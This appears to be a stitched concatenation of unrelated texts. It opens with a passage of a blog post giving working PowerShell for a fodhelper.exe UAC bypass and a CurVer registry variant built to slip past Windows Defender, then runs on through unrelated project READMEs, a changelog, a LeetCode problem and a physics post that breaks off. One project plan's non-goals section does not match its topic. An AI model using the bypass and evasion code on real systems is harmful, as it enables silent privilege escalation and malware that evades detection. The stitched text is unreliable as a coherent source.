To add insult to injury, what if I told you, that there is a way of launching programs in an elevated context without triggering the prompt at all? Yeah, it is in fact possible! Let me welcome you to the wonderful world of *UAC* bypasses.

> Note: for more in depth explanation of how *UAC* works check out MSDN.

***

# *FodHelper.exe* *UAC* Bypass
`FodHelper` stands for "Features On Demand Helper". By default, the `fodhelper.exe` binary runs with a high integrity level. When launched, it checks for the presence of the following registry keys:
```
HKCU:\Software\Classes\ms-settings\shell\open\command
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\(default)
```
If the aforementioned registry keys have commands assigned to them, `fodhelper.exe` will execute them in an elevated context (**without prompting the user**).

### Demo
To demonstrate *fodhelper*'s ability to bypass *UAC* and execute code in an elevated context, we will use the following script from netbiosX:
```powershell
function Bypass(){
    Param (
        [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
        )

    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force

    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
```

With this script, we can utilize the `Bypass` function to force `fodhelper.exe` to spawn an elevated instance of `cmd.exe` without any user interaction whatsoever.

FodHelper.exe setup to launch cmd.exe in an elevated context.

Furthermore, we can easily verify the integrity of the newly created process with a tool such as Process Hacker.

cmd.exe running in high integrity.

***

# So What's the Catch?
Antivirus. That's what.

If you were following along so far and actually tested the example I showed in the previous chapter, then you surely noticed that e.g. *Windows Defender* is not a fan of you writing to the `HKCU:\Software\Classes\ms-settings\Shell\Open\command` registry key. When you do, it immediately fires an alert to the user about potential malware and instantly stops the write process to the key.

Windows Defender alert about a possible UAC bypass.

What's funny though, is that more often than not, even if *Defender* kills your script, your malicious executable will still be launched! That's usually due to the fact that only the process which wrote __to__ the registry gets terminated (see demo below).

powershell.exe is terminated.
 However, cmd.exe  is still launched via fodhelper.exedespite the Defender warning.

While this is great, we can do better. Much better. In fact, with a little bit of "magic", we can make this bypass work flawlessly without *Defender* killing the calling process and without alerting the user at all! And that all starts with something called *ProgIDs*.

***

# Programmatic Identifiers (*ProgIDs* ) in Windows
In Windows, a programmatic identifier (*ProgID* ) is a registry entry that can be associated with a Class ID (*CLSID* ), which is a globally unique serial number that identifies a *COM* (Component Object Model) class object. In simple terms the *ProgID* is basically a string such as "my-application.document" that represents a *CLSID* such as "{F9043C85-F6F2-101A-A3C9-08002B2F49FB}".

In addition, the Windows Shell uses the *ProgID* registry subkey to associate a file type with an application, and to control the behavior of the association. One of the values used in a *ProgID* subkey is an element with the name of `CurVer`. As far as I understand, the `CurVer` entry is used to set the default version of a COM application if multiple other versions are found on the system - i.e. you want the *ProgID* to reference version 1.2 of *my-application* over version 1.1.

In an ideal world, this would be used to distinguish two identical applications with different versions as mentioned above. However, in our case, `CurVer` can be used to make a temporary version of the `Shell` subkey, which will in turn hopefully evade detections (as theoretically the original `Shell` subkey remains untouched).

> Note: read MSDN for more information regarding programmatic identifiers.

### The Magic
Now that we know what `CurVer` is and what it does, we can use it to our advantage. More specifically, we can abuse `CurVer` by setting the `Shell` subkey to the *ProgID* with the version name of e.g. `.pwn`. In order to achieve this, all we really need to do is slightly modify our previous PowerShell script.

```powershell
function Bypass {
    Param (
        [String]$program = "cmd /c start C:\Windows\System32\cmd.exe"
    )

    # Warning: a ProgID entry needs to be located in the HKCR (HKEY_CLASSES_ROOT) hive in order to take effect.
    #                                                    HKCR = HKLM:\Software\Classes
    #                                                         = HKCU:\Software\Classes
    New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
    Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force

    New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
    Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force

    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    Start-Sleep 3

    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
    Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse -Force
}
```
If you have trouble seeing what's happening, imagine the procedure in multiple steps:
- Create a `HKCU:\Software\Classes\.pwn\Shell\Open\command` subkey with a custom *ProgID* of `.pwn`
- Create a `CurVer` subkey in `HKCU:\Software\Classes\ms-settings`
- Set the `CurVer` subkey's `(default)` value to the value of the chosen *ProgID* (`.pwn`)

If configured correctly, the system should translate this registry setup into `HKCU:\Software\Classes\ms-settings\Shell\Open\command` by prepending `CurVer`'s registry path to `Shell\Open\command`. Note, that the final (concatenated) path is exactly the same as the path used in the original PowerShell script from netbiosX.

With this change, *Defender* should now be tricked into believing that the original `command` subkey is untouched. As a result, we should be able to run the bypass without triggering an AV alert.

cmd.exe is launched in an elevated context while powershell.exe is still running in the background (AV has been bypassed).

Mission accomplished.

> Note: the last demo was carried out against *Defender* definitions from *10/19/21*.

> Note: if you want to see an example of a similar attack being used in the wild, look at page 38 of the *InvisiMole* report from ESET's research team.

***

# Kudos
I would like to express my gratitude to  Filip Dragovic for sharing the *InvisiMole* report with me. If it wasn't for him, I wouldn't even know that registry manipulation with programmatic identifiers is possible. In addition, I would like to thank Jack for proof-reading my blog before its release and adding in a few important details. You guys are both amazing, thank you for helping me.

***

# Appendix

If you prefer video demos instead of gifs, look at the links below.
- Demo 01 - *UAC* bypass
- Demo 02 - *UAC* bypass caught
- Demo 03 - *UAC* bypass undetected

***

# Conclusion
That's about it folks. I hope you enjoyed this post! As was the case with my  previous blog, I just felt like this technique deserved a little bit more recognition. Main reason being, that I really struggled to find information regarding this attack vector on the internet. Therefore, if you read the blog until its end, I really hope you at least learnt something new. Thank you, and until next time!

license: Unlicense


text:
A Multidimensional Precision Medicine Approach for Autism Subtype Identification
--------------------------------------------------------------------------------

The promise of precision medicine lies in data diversity. More than the sheer size of biomedical data, it is the layering of multiple data modalities, offering complementary perspectives, that is thought to enable the identification of coherent patient subgroups with shared pathophysiology. Here we use autism spectrum disorder (ASD) to test this notion. By combining healthcare claims, electronic health records, familial whole-exome sequences, and neurodevelopmental gene expression patterns, we identified a subgroup of patients with dyslipidemia-associated ASD.

For more details, see the accompanying paper (link available soon).

Installation
------------

First, clone this repository and enter the directory by running:

    git clone https://github.com/yuanluo/autism_precision_medicine
    cd autism_precision_medicine

The repository is implemented in R 3.x and Python 2.7.x, and depends on the following packages:
  - reshape2
  - ggplot2
  - scales
  - igraph
  - GenomicRanges
  - VariantAnnotation
  - grid
  - pheatmap
  - hash
  - genefilter
  - rtracklayer
  - MASS
  - foreach
  - doMC

Usage
-----
### Setting Paths

Paths can be set in the configuration file giConfig.R. In that file, the major paths are: `dn.ndar` that contains intermediate files for NDAR (https://ndar.nih.gov), e.g., variant annotations, compiled genotypes etc; `dn.base` that contains base data, e.g., from BrainSpan (http://developinghumanbrain.org). We are not authorized to share those datasets, but they are directly available from the above links.

### Running Code

Much of our code is designed to run a High Performance Computing (HPC) cluster, due to the highly parallel nature of the major processing steps. Following are examples of such steps. We have included examples for popular parallel job scheduling systems including LSF and Slurm.

#### Parallel Computation of Correlation among Exon Pairs from BrainSpan RNA-Seq data

Run the script `pcor.sh`, this script submit jobs to LSF scheduling system. This code is generated by the Python script `import pscripts as ps` function `ps.expr_cor_parallel_script()` that utilizes `pcor_tmp.lsf` and `pcor_tmp.sh`.

#### Printing Exon Clusters

To print the exons contained in the exon clusters

    source('printAllECs.R')
    source('printl2AllECs.R')

#### Cross Tabulating the Variant Annotation Files

Run the script `pCrossTabVA.sh`, this script submit jobs to LSF scheduling system.

#### Reading Genotype Out of Cross Tabulated Variant Annotations

Run the script `read_genotype_discordant.sh`, this script submit jobs to Slurm scheduling system. This code is generated by the Python script `import pscripts as ps` function `ps.read_genotype_discordant_slm_parallel_script()` that utilizes `read_genotype_discordant_tmp.lsf` and `read_genotype_discordant_tmp.sh`.

#### Generating the Lookup Table for SSC Family:

    source('sscFamLookupTabBatch.R')

#### Generating the Lookup table for Multiplex Family:

    source('ndarMultiplexSubjLookupTabBatch.R')

#### Generating Deleterious Variants Table

These tables contain deleterious variants (defined in `delMuts.R`) from subjects of different cohorts. To obtain them, run

    source('discordantDelvar.R')
    source('multiplexDelvar.R')
    source('discordantl2Delvar.R')
    source('multiplexl2Delvar.R')

#### Plotting the Exon Progression:

There are 3 modes of plotting:
  - Line plotting with error bars
  - LOWESS smoothed plotting
  - Developmentally phased plotting

To obtain them, run

    source('ecTempProgressLOWESS.R')
    source('ecTempProgressPhase.R')
    source('ecTempProgress.R')
    source('ecl2TempProgressLOWESS.R')
    source('ecl2TempProgressPhase.R')
    source('ecl2TempProgress.R')

Citation
--------

Luo, Y., Eran, A., Palmer, N. et al. A multidimensional precision medicine approach identifies an autism subtype characterized by dyslipidemia. Nat Med (2020). https://doi.org/10.1038/s41591-020-1007-0


text:
# Extensions

This section describes the auto identifier extension

## Heading Auto Identifiers

Allows to automatically creates an identifier for a heading:

```````````````````````````````` example
# This is a heading
.

This is a heading

````````````````````````````````

Only punctuation `-`, `_` and `.` is kept, all other non letter characters are discarded.
Consecutive same character `-`, `_` or `.` are rendered into a single one
Characters `-`, `_` and `.` at the end of the string are also discarded.

```````````````````````````````` example
# This - is a &@! heading _ with . and ! -
.

This - is a &@! heading _ with . and ! -

````````````````````````````````

Formatting (emphasis) are also discarded:

```````````````````````````````` example
# This is a *heading*
.

This is a heading

````````````````````````````````

Links are also removed:

```````````````````````````````` example
# This is a [heading](/url)
.

This is a heading

````````````````````````````````

If multiple heading have the same text, -1, -2...-n will be postfix to the header id.

```````````````````````````````` example
# This is a heading
# This is a heading
.

This is a heading

This is a heading

````````````````````````````````

The heading Id will start on the first letter character of the heading, all previous characters will be discarded:

```````````````````````````````` example
# 1.0 This is a heading
.

1.0 This is a heading

````````````````````````````````

If the heading is all stripped by the previous rules, the id `section` will be used instead:

```````````````````````````````` example
# 1.0 & ^ % *
# 1.0 & ^ % *
.

1.0 & ^ % *

1.0 & ^ % *

````````````````````````````````

When the options "AutoLink" is setup, it is possible to link to an existing heading by using the
exact same Label text as the heading:

```````````````````````````````` example
# This is a heading
[This is a heading]
.

This is a heading

This is a heading

````````````````````````````````

Links before the heading are also working:

```````````````````````````````` example
[This is a heading]
# This is a heading
.

This is a heading

This is a heading

````````````````````````````````

The text of the link can be changed:

```````````````````````````````` example
[With a new text][This is a heading]
# This is a heading
.

With a new text

This is a heading

````````````````````````````````

An autoidentifier should not conflict with an existing link:

```````````````````````````````` example
![scenario image][scenario]
## Scenario
[scenario]: ./scenario.png
.

Scenario

````````````````````````````````

repository: gwaredd/UnityMarkdownViewer

gha_language: C#

repo_name: gwaredd/UnityMarkdownViewer


text:
[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=YGHJ7S2WGJSFE&source=url)

Repository for the SimBad Checker Android app available here : [SimBad Checker](https://play.google.com/store/apps/details?id=com.androdevcafe.simbadchecker)

# What is SimBad

SimBad is an a Rogue Adware discovered by CheckPoint team on 206 Android applications (for more than 150+ millions downloads). Complete details can be found in this [CheckPoint article](https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/).

# Why this app ?

This app offer a very quick way to know if you have on your device an infected app installed. As it's a "security" application I think it's important to open source it for more transparency (as everyone can now check the source and build it).

# Screenshots

# Donation

If this project helps you with SimBad fighting or for common Android development, please consider giving me a coffee :)

[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=YGHJ7S2WGJSFE&source=url)

repository: mautini/simbad-checker

repo_name: mautini/simbad-checker


text:
# ansible-examples

These are my little playbooks, to remind me how Ansible tasks behave.
Read it, run it, edit it, play with it.

They all run on localhost. No network required.

## What are these?

There are about 100 little playbooks here.
Each one is about an ansible thing, like a play, a directive or a variable type.
They all run locally and demonstrate how a little bit of ansible behaves.
The playbooks are simple - no roles, no SSH, no remote hosts and mostly no privilege escalation (one exception is module-user.yml).

### getting started

* `sudo dnf install ansible git`
* `git clone https://github.com/nickhardiman/ansible-examples`
* `cd ansible-examples`
* `ansible-playbook directive-gather_facts.yml`

### playbook

Each file name provides a clue about what the playbook does.
Inside each file is a description of how you run it and what it does.

The `filter-union.yaml` file has a few tasks using the 'union' filter.
Run it like this.
`ansible-playbook filter-union.yml`

### inventory

Most playbooks read the inventory file _inventory-localhost.yml_.
This is set by the line `inventory=inventory-localhost.yml` in ansible.cfg.

### configuration

Most playbooks read the default configuration file _ansible.cfg_.

There are a few variations on configuration files in the same directory.
Playbook _callback-cgroup.yml_ requires the config file  _callback-cgroup-ansible.cfg_ to work.
Use the ANSIBLE_CONFIG variable to point to this configuration file, like this.
`ANSIBLE_CONFIG=ansible-examples/callback-cgroup-ansible.cfg  ansible-playbook ansible-examples/callback-cgroup.yml`

repository: nickhardiman/ansible-examples

repo_name: nickhardiman/ansible-examples


text:
# [@rbxts/randomstring](https://www.npmjs.com/package/@rbxts/randomstring)
Generate random strings from a list of strings/characters.

### API
```ts
randomstring(length?: number, entries?: string[], separator?: string) → string
```
`length`: How many random entries to use. Defaults to 5.

`entries`: What strings to pick randomly from. By default, this is equal to characters a-Z 0-9.

`separator`: What string to use to concatenate randomly picked `entries`. By default, this is `""`. Example: `"-"` as a separator outputs strings like `"a-Z-9-b-F"`.

### Examples
#### Matchmaking game IDs
Simply using the module with the predefined parameters
```ts
randomstring()
```
outputs sequences similar to `TqKlf`, `M4Zvn`, `u6X8F`, which could be used as identifiers for ongoing matches in your game.

#### RoVer verification code clone
You could recreate the way [RoVer](https://github.com/evaera/RoVer) hands out codes for verifying users by inputting the following parameters:
```ts
randomstring(20, <english dictionary>, " ")
```
→ `magenta maroon yellow red pink very purple pink blue lavender red maroon maroon yellow gray dark really teal`

repository: tacheometry/rbxts-randomstring

gha_language: Lua

repo_name: tacheometry/rbxts-randomstring


text:
# Changelog

The changelog is tracked here but also in [the Releases section of the GitHub project](https://github.com/twbs/bootstrap-rubygem/releases).
The changelog only includes changes specific to the RubyGem.

The Bootstrap framework changes can be found in [the Releases section of twbs/bootstrap](https://github.com/twbs/bootstrap/releases).
Release announcement posts on [the official Bootstrap blog](http://blog.getbootstrap.com) contain summaries of the most noteworthy changes made in each release of Bootstrap.

# 4.2.1

* Bootstrap rubygem now depends on SassC instead of Sass.

# 4.0.0.beta2.1

Fixes an extraneous `sourceMappingURL` in `bootstrap.js`.
[#124](https://github.com/twbs/bootstrap-rubygem/issues/124)

# 4.0.0.beta2

Compass is no longer supported. Minimum required Sass version is now v3.5.2.
[#122](https://github.com/twbs/bootstrap-rubygem/pull/122)

# 4.0.0.alpha3.1

This release corresponds to the upstream Bootstrap 4 Alpha 3.

repository: twbs/bootstrap-rubygem

gha_language: SCSS

repo_name: twbs/bootstrap-rubygem


text:
# Amazon Genomics CLI

[![Join the chat at https://gitter.im/aws/amazon-genomics-cli](https://badges.gitter.im/aws/amazon-genomics-cli.svg)](https://gitter.im/aws/amazon-genomics-cli?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)

## Overview

The Amazon Genomics CLI is a tool to simplify the processes of deploying the AWS infrastructure required to
run genomics workflows in the cloud, to submit those workflows to run, and to monitor the logs and outputs of those workflows.

## Quick Start

To get an introduction to Amazon Genomics CLI refer to the [Quick Start Guide](https://aws.github.io/amazon-genomics-cli/docs/getting-started/)
in our wiki.

## Further Reading

For full documentation, please refer to our [docs](https://aws.github.io/amazon-genomics-cli/docs/).

## Releases

All releases can be accessed on our releases [page](https://github.com/aws/amazon-genomics-cli/releases).

## Development

To build from source you will need to ensure the following prerequisites are met.

### One-time setup

There are a few prerequisites you'll need to install on your machine before you can start developing.

Once you've installed all the dependencies listed here, run `make init` to install the rest.

#### Go

The Amazon Genomics CLI is written in Go.

To manage and install Go versions, we use [goenv](https://github.com/syndbg/goenv). Follow the installation
instructions [here](https://github.com/syndbg/goenv/blob/master/INSTALL.md).

#### Node

Amazon Genomics CLI makes use of the AWS CDK to deploy infrastructure into an AWS account. Our CDK code is written in TypeScript.
You'll need Node to ensure the appropriate dependencies are installed at build time.

To manage and install Node versions, we use [nvm](https://github.com/nvm-sh/nvm).

```bash
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
echo 'export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")"' >> ~/.bashrc
echo '[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm' >> ~/.bashrc
source ~/.bashrc
nvm install
```

Note: If you are using Zsh, replace `~/.bashrc` with `~/.zshrc`.

#### Sed (OSX)

OSX uses an outdated version of [sed](https://www.gnu.org/software/sed/manual/sed.html). If you are on a Mac, you will
need to use a newer version of sed to ensure script compatibility.

```bash
brew install gnu-sed
echo 'export PATH="/usr/local/opt/gnu-sed/libexec/gnubin:$PATH"' >> ~/.bashrc
source ~/.bashrc
```

Note: If you are using Zsh, replace `~/.bashrc` with `~/.zshrc`.

#### One time setup

Once you've installed all the dependencies listed here, run `make init` to automatically install all remaining dependencies.

#### Make

We use `make` to build, test and deploy artifacts. To build and test issue the `make` command from the project root.

### Running Development Code

To run against a development version of Amazon Genomics CLI, first build your relevant changes and then run `./scripts/run-dev.sh`. This will
set the required environment variables and then enter into an Amazon Genomics CLI command shell.

If you want to run from development code manually, ensure you have the following environment variables set.

```shell
export ECR_CROMWELL_ACCOUNT_ID=<some-value>
export ECR_CROMWELL_REGION=<some-value>
export ECR_CROMWELL_TAG=<some-value>
export ECR_NEXTFLOW_ACCOUNT_ID=<some-value>
export ECR_NEXTFLOW_REGION=<some-value>
export ECR_NEXTFLOW_TAG=<some-value>
export ECR_WES_ACCOUNT_ID=<some-value>
export ECR_WES_REGION=<some-value>
export ECR_WES_TAG=<some-value>
```

These environment variables point to the ECR account, region, and tags of the Cromwell engine and WES adaptor containers respectively
that will be deployed for your contexts. They are written as Systems Manager Parameter Store variables when you activate
your Amazon Genomics CLI account region (`agc account activate`). The `./scripts/run-dev.sh` contains logic to determine the current
dev versions of the images which you would typically use. You may also use production images, the current values of which will
be written when you activate an account with the production version of Amazon Genomics CLI. If you have customized containers that you
want to develop against you can specify these however you will need to make these available if you wish to make pull requests
with code that depends on them.

### Building locally with CodeBuild

This package is buildable with AWS CodeBuild. You can use the AWS CodeBuild agent to run CodeBuild builds on a local
machine.

You only need to set up the build image the first time you run the agent, or when the image has changed. To set up the
build image, use the following commands:

```bash
git clone https://github.com/aws/aws-codebuild-docker-images.git
cd aws-codebuild-docker-images/ubuntu/standard/5.0
docker build -t aws/codebuild/standard:5.0 .
docker pull amazon/aws-codebuild-local:latest --disable-content-trust=false
```

Create an environment file (e.g. `env.txt`) with the appropriate entries depending on which image tags you want to use.

```shell
CROMWELL_ECR_TAG=2021-06-17T23-48-54Z
ECR_NEXTFLOW_TAG=2021-06-17T23-48-54Z
WES_ECR_TAG=2021-06-17T23-48-54Z
```

In the root directory for this package, download and run the CodeBuild build script:

```bash
wget https://raw.githubusercontent.com/aws/aws-codebuild-docker-images/master/local_builds/codebuild_build.sh
chmod +x codebuild_build.sh
./codebuild_build.sh -i aws/codebuild/standard:5.0 -a ./output -c -e env.txt
```

### Configuring docker image location

The default values for all variables are placeholders (e.g. 'WES_ECR_TAG_PLACEHOLDER'). It is replaces by the actual
value during a build process.

#### WES adapter for Cromwell

Local environment variables:

- `ECR_WES_ACCOUNT_ID`
- `ECR_WES_REGION`
- `ECR_WES_TAG`

The corresponding AWS Systems Manager Parameter Store property names:

- /agc/_common/wes/ecr-repo/account
- /agc/_common/wes/ecr-repo/region
- /agc/_common/wes/ecr-repo/tag

#### Cromwell engine

Local environment variables:

- `ECR_CROMWELL_ACCOUNT_ID`
- `ECR_CROMWELL_REGION`
- `ECR_CROMWELL_TAG`

The corresponding AWS Systems Manager Parameter Store property names:

- /agc/_common/cromwell/ecr-repo/account
- /agc/_common/cromwell/ecr-repo/region
- /agc/_common/cromwell/ecr-repo/tag

#### Nextflow engine

Local environment variables:

- `ECR_NEXTFLOW_ACCOUNT_ID`
- `ECR_NEXTFLOW_REGION`
- `ECR_NEXTFLOW_TAG`

The corresponding AWS Systems Manager Parameter Store property names:

- /agc/_common/nextflow/ecr-repo/account
- /agc/_common/nextflow/ecr-repo/region
- /agc/_common/nextflow/ecr-repo/tag

## Contributing

### Issues

See [Reporting Bugs/Feature Requests](CONTRIBUTING.md#reporting-bugsfeature-requests) for more information. For a list of
open bugs and feature requests, please refer to our [issues](https://github.com/aws/amazon-genomics-cli/issues?q=is%3Aopen+is%3Aissue) page.

### Pull Requests

See [Contributing via Pull Requests](CONTRIBUTING.md#contributing-via-pull-requests)

## Security

See [Security Issue Notification](CONTRIBUTING.md#security-issue-notifications) for more information.

## License

This project is licensed under the Apache-2.0 License.

repository: fabbondanza/amazon-genomics-cli

repo_name: fabbondanza/amazon-genomics-cli


text:
# Adaptive Stress Testing with Sensor Observation Errors

## Overview

Safety validation of autonomous vehicle software is done through stress testing on simulations. Adaptive Stress Testing (AST) [] is a framework that has been previously proposed to automate the task of finding the most likely path to a failure scenario in an autonomous driving setting using reinforcement learning.

In this project, we will extend the capabilities of AST to find failures in environments where the driving behavior depends on observations from multiple simulated sensors. By simulating sensor observations for multiple driving trajectories in the environment, we will learn a model of the probability distribution of the disturbances in agent states that result from the observations. Finally, we will utilize the learnt probability distribution in AST to find failures. Next, the failure-causing driving trajectories obtained from AST will be used to simulate new sensor observations and the process would be repeated till convergence.

We will implement this framework in Julia and develop interfaces to query high-fidelity simulators (CARLA, hardware-in-the-loop GNSS) for sensor observations and to execute the failure search. We will develop the probability distribution learning codebase using `Flux.jl` and the failure search codebase using `AderversarialDriving.jl` , `POMDPStressTesting.jl` and `CrossEntropyMethod.jl`.

## Background:

This section includes background information on the types of sensors and the AST framework.

### Sensor Observations

The project requires interacting with different types of sensor observations. Therefore, we describe each kind of observation that we utilize in this section.

#### GNSS sensor

Global Navigation Satellite System (GNSS) collectively describes all the satellite-based navigation systems available throughout the world, including as the USA's Global Positioning System (GPS). GNSS is one of the most common sensors available on an autonomous vehicle, and therefore we include it in our analysis.

The GNSS sensor is used to acquire position coordinates of a vehicle anywhere on the Earth. These coordinates are obtained by processing RF signals from satellites orbiting the Earth to determine their time-of-flight, and performing least-squares optimization to determine the position. In ideal conditions, GNSS achieves positioning accuracies upto ~1m. However, this is far from the case in urban environments. This is because urban environments contain several tall structures (buildings, trees, etc.) that occlude or reflect GNSS signals coming from space. This severely deteriorates GNSS performance in these environments. Furthermore, the resulting error probability distributions are non-Gaussian with significant heavy tails because the signals are subject to plenty of error sources with small probabilities.

Therefore, we consider errors at the signal level to accurately model the resulting position errors. GNSS signal consists of three components:
* _Carrier Phase_: Radio frequency sinusoid signal
* _Code phase_: Pseudo-random sequences of 0s and 1s known to the receiver. Since the start and end of the signal is unique, this allows the receiver to determine the time-of-flight of the signal.
* _Navigation data_: A binary-coded message providing information on the satellite ephemeris (Keplerian elements or satellite position and velocity), clock bias parameters, almanac (with a reduced accuracy ephemeris data set), satellite health status, and other complementary information.

One the signals are processed, the time-of-flight of the signals is determined using the source time information in the navigation data and reception time. This time of flight is then divided by the speed of the signal to estimate the ranging distance between the receiver and the satellite. This distance is commonly termed as the pseudo-range
$$\rho = \|x_{rec} - x_{sat}\| + c|\delta t_{rec}-\delta t_{rec}| + \epsilon + b$$

### Adaptive Stress Testing

The original codebase for AST is available through Julia packages. Additionally, the codebase includes a simple driving example with one car and one pedestrian on a crosswalk to demonstrate the performance of AST.

### Current Goals

This project comprises of several parts, and therefore we will tackle it in multiple phases:

#### Phase I: Simulated GNSS sensor observations

In Phase I, we will use the simple vehicle and pedestrian crosswalk scenario available in the AST codebase. We will simulate simple sensor observations from a GNSS sensor on top of the available simulation. The sensor observations will be pseudo-range measurements from 5 different satellites at fixed points in the sky. The corresponding probability distribution of vehicle positions will be learned as a function of the vehicles true position in the environment using a simple 2-layer feedforward neural network. I will then test AST by varying the structure of errors in the GNSS observations for 3 cases:
* No satellite blockage or reflection
* One satellite blocked but no reflection
* One signal reflected

#### Phase II: Range and bearing sensor observations of the pedestrian
Phase II will build on Phase I by adding sensor observations for the pedestrian as seen from the autonomous vehicle along with the GNSS observations. We will simulate range and bearing measurements for this task. The scenario will be evaluated for 3 cases:
* Error in range but not in bearing
* Error in both range and bearing
* Error in range and bearing, and reflection in one satellite signal

#### Phase III: Evaluating probability distribution learning techniques

In Phase III, we will evaluate learning methods for the probability distribution other than the feedforward neural network. We will consider 3 methods:
* Fixed Normal distribution fitting
* Feed-forward neural network (Normal distribution conditional on position)
* Gaussian Mixture model conditional on position

### Additional Goals
* We will prepare the code as a Julia package which can be installed and used separately.
* We will add tests for various code components within the Julia framework
* We will add detailed instructions and examples for installing and using the package

### Non-Goals

We will not attempt to manage interactions with github, e.g. creating the repository for the user or uploading it. We will also not do much to help users set up AWS/GCP instances. We will not (easily) support upgrading basic scripts after the user has made some changes (this might necessitate using branches in the future). We won't support windows natively (though the zip file should work fine).

### Future Goals

* Use github command line tool to interface with git making it easy to set up tracking repo
* `Documenter.jl` Julia package for automatic documentation from docstrings
* Github actions and Github pages to host documentation.
* All the stuff in non-goals above.

## Third Party dependencies
The package will depend on `AdversarialDriving.jl` and `AutomotiveSimulator.jl` packages.


text:
# Secure Authenticator

Secure Authenticator is a Java Spring MVC web app with Hibernate that redirect users to a login.html page if not authenticated before being redirected to the original page once authenticated.

## Installation

Use [docker](https://docs.docker.com/get-docker/) for database.

```bash
docker-compose --file docker/compose.yaml up --build -d
```
Run in IDE by importing /secure-authenticator
or by using Maven
```bash
cd secure-authenticator/
mvn spring-boot:run
```

## Usage

Going to [http://localhost:8081/hello](http://localhost:8081/hello) should redirect to login page if not authenticated and once authenticated, returns back to hello page.

## Stopping

```bash
docker-compose --file docker/compose.yaml down
```

## License
[MIT](https://choosealicense.com/licenses/mit/)


text:
# [141. Linked List Cycle](https://leetcode.com/problems/linked-list-cycle/)

**Level:** `Easy`.

**Topic:** `Linked List`, `Hash Table`, `Two Pointers`.

Given `head`, the head of a linked list, determine if the linked list has a cycle in it.

There is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the `next` pointer. Internally, `pos` is used to denote the index of the node that tail's `next` pointer is connected to. **Note that `pos` is not passed as a parameter**.

Return `true` if there is a cycle in the linked list. Otherwise, return `false`.

**Example 1:**

![Example1](https://assets.leetcode.com/uploads/2018/12/07/circularlinkedlist.png)

```
Input: head = [3,2,0,-4], pos = 1
Output: true
Explanation: There is a cycle in the linked list, where the tail connects to the 1st node (0-indexed).
```

**Example 2:**

![Example2](https://assets.leetcode.com/uploads/2018/12/07/circularlinkedlist_test2.png)

```
Input: head = [1,2], pos = 0
Output: true
Explanation: There is a cycle in the linked list, where the tail connects to the 0th node.
```

**Example 3:**

![Example3](https://assets.leetcode.com/uploads/2018/12/07/circularlinkedlist_test3.png)

```
Input: head = [1], pos = -1
Output: false
Explanation: There is no cycle in the linked list.
```

**Constraints:**

-   The number of the nodes in the list is in the range [0, 104].
-   -105 <= Node.val <= 105
-   pos is -1 or a **valid index** in the linked-list.

**Follow up**: Can you solve it using `O(1)` (i.e. constant) memory?

path: /LinkedList/141. Linked List Cycle/README.md


text:
---
layout: post
title:  "Simple Harmonic Oscillations"
date:   2017-04-01 12:00:00
categories: physics
---

We've all seen simple harmonic motion, it is the motion you observe when you watch a grandfather clock tick back and forth, or when a spring oscillates by contracting and extending. It is something that is periodic in motion and moves at a frequency determined either by the system or a driving force. In this post we will discuss how we can solve the equations of motion for oscillators.

Linear differential equations show up in many different places throughout physics. The term linear just tells us that the highest degree polynomial in our equation is 0 or 1. Some of the interesting places this type of equation pops up is in pendulums, springs, circuits, and pretty much anything that has to do with simple harmonic motion.

The way to arrive at the differential equation differs from system to system, it can range from using restoring forces and torques to Kirchhoff's current law. However different these systems may seem they are based on the same underlying mathematical concept.

## The Simplest Case

Let's take for example an idealized pendulum system without a damping or driving force in a conservative gravitational field.

An important relationship to note is $T = \frac{2\pi}{\omega}$. $T$ is the period, the time it takes to complete one full oscillation. Frequency $f = \frac{1}{T}$ tells us how many times it oscillates per second. Another relation can be seen that $\omega = 2\pi f$. In this context $\omega$ is the variable we use to denote angular frequency; however, it is also sometimes used to denote angular velocity. These two are not to be confused as angular velocity is a vector quantity with which the pendulum rotates with, and angular frequency is a scalar quantity telling us the number of radians per second of the oscillation. Because of this we will use another variable to denote angular velocity.

Here are the variables:

* $E$: total mechanical energy
* $T$: kinetic energy
* $V$: potential energy
* $m$: mass
* $l$: distance from the axis of rotation to center of mass
* $J = ml^2$: moment of inertia
* $\vartheta$: angle of displacement from equilibrium
* $\dot{\vartheta}$: angular velocity
* $\ddot{\vartheta}$: angular acceleration

A dot above a variable denotes it is the first time derivative of the variable, and two dots the second time derivative.

Since we know energy is conserved (constant) in this system it implies

$$\frac{d}{dt}E = 0 \implies \frac{d}{dt}[T + V] = 0$$

Where:

$$T = \frac{1}{2}J\dot{\vartheta}^2 = \frac{1}{2}ml^2\dot{\vartheta^2}$$

$$V = mgl(1-\cos\vartheta)$$

